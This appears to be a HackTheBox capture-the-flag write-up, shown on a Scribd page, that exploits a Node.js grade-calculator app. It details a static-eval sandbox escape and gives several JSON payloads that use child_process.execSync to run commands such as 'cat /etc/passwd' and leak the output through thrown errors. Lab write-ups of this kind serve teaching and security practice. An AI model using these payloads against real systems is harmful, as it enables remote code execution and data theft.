[go: up one dir, main page]

0% found this document useful (0 votes)
22 views6 pages

HackTheBox_-_Baby_Breaking_Grad_(Challenge)

The document outlines a challenge from HackTheBox where participants must exploit a vulnerability in a Node.js application to achieve remote code execution (RCE). By manipulating the formula input, the attacker can execute arbitrary commands on the server and retrieve sensitive information, such as the contents of the '/etc/passwd' file. The walkthrough provides detailed steps on how to analyze the source code, construct payloads, and successfully execute commands to solve the challenge.

Uploaded by

Marco Aurélio
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
22 views6 pages

HackTheBox_-_Baby_Breaking_Grad_(Challenge)

The document outlines a challenge from HackTheBox where participants must exploit a vulnerability in a Node.js application to achieve remote code execution (RCE). By manipulating the formula input, the attacker can execute arbitrary commands on the server and retrieve sensitive information, such as the contents of the '/etc/passwd' file. The walkthrough provides detailed steps on how to analyze the source code, construct payloads, and successfully execute commands to solve the challenge.

Uploaded by

Marco Aurélio
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 6

HackTheBox - Baby Breaking

Grad (Challenge)
We corrected the math in our physics teacher's paper and now
he is failing us out of spite for making a fool out of him in the
university's research symposium, now we can't graduate,
unless we can do something about it...

Challenge Walkthrough
To begin the challenge we download the zip file provided by HTB and begin to
analyse the source code of the application. We begin by analysing the
routes/index.js file provided.

const randomize = require('randomatic');


const path = require('path');
const express = require('express');
const router = express.Router();
const StudentHelper = require('../helpers/StudentHelper');

router.get('/', (req, res) => {


return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/calculate', (req, res) => {


let student = req.body;

if (student.name === undefined) {


return res.send({
error: 'Specify student name'
})
}

let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]';

if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula))


{
return res.send({
'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe'
});
}

HackTheBox - Baby Breaking Grad Challenge) 1


return res.send({
'pass': 'Passed'
});
});

module.exports = router;

Analysing the code we can see that in the formula there is a opportunity to
perform prototype polution taking advantage of the student.formula object which
contains assignment, exam and paper objects.. Moving on to the helpers/StudentHelper.js
we can see that a NodeJS module has been imported that evaluates the formula
with exam, paper and assignment which has been passed through the StudentHelper.js
file in the hasPassed(student, formula) statement.

const evaluate = require('static-eval');


const parse = require('esprima').parse;

module.exports = {
isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));
},

hasPassed({ exam, paper, assignment }, formula) {


let ast = parse(formula).body[0].expression;
let weight = evaluate(ast, { exam, paper, assignment });

return parseFloat(weight) >= parseFloat(10.5);


}
};

Pay close attention to the static-eval . Searching through the maintainer's GitHub

page I came across the link below.

browserify/static-eval
evaluate statically-analyzable expressions. Contribute to
browserify/static-eval development by creating an account on
GitHub.
https://github.com/browserify/static-eval/blob/master/test/
eval.js

HackTheBox - Baby Breaking Grad Challenge) 2


# Found within the maintainers github repository
var src = '(function myTag(y){return ""[!y?"__proto__":"constructor"][y]})("constructor")
("console.log(process.env)")()'

We can leverage this in an attack against the target server through the formula
array. Visiting the site on our local instance we see a WELCOME TO THE GRADE PORTAL
landing page which allows us to select the student name and check if we passed.

We fire up BurpSuite and send the payload below and check out logs.

{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('console.log(process.env)')()"}

We can see that it didn't show any responses but... If we check the running
nodemon instance we see something interesting.

HackTheBox - Baby Breaking Grad Challenge) 3


We can see that the environmental variables were passed into the running nodemon

serverwhich means we have successfully polluted the application, but how can we
achieve some form of code execution from this instead of printing the
environmental variables?

Bypassing a restrictive JS sandbox


While participating in a bug bounty program, I found a site with
a very interesting functionality: it allowed me to filter some data
based on a user-controlled expression. I could put something
https://licenciaparahackear.github.io/en/posts/bypassing-a-res
trictive-js-sandbox/

Following this link we see we can replace the process.env with


global.process.mainModule.constructor._load which is the same as require() in NodeJS .

{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('console.log(global.process.mainMod
ule.constructor._load(\"child_process\").execSync(\"id\").toString())')()"}

HackTheBox - Baby Breaking Grad Challenge) 4


We have gained code execution. So now we need to figure a way to return output
from the remote instance. Taking a error based approach we can render the
output in BurpSuite using the throw new Error() function which will display an error
with the contents of our command output. Loading the instance up on the target
we send a payload with the following contents.

{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mai
nModule.constructor._load(\"child_process\").execSync(\"cat /etc/passwd\").toString())')
()"}

HackTheBox - Baby Breaking Grad Challenge) 5


Now we have achieved RCE we can list the directory contents and find the flag!

{"name":"test","exam":"0","paper":"0","assignment":"1","formula":"(function myTag(y){retur
n ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mai
nModule.constructor._load(\"child_process\").execSync(\"ls\").toString())')()"}

And finally we can read the flag!

And we have solved the challenge. Thanks for reading.

HackTheBox - Baby Breaking Grad Challenge) 6

You might also like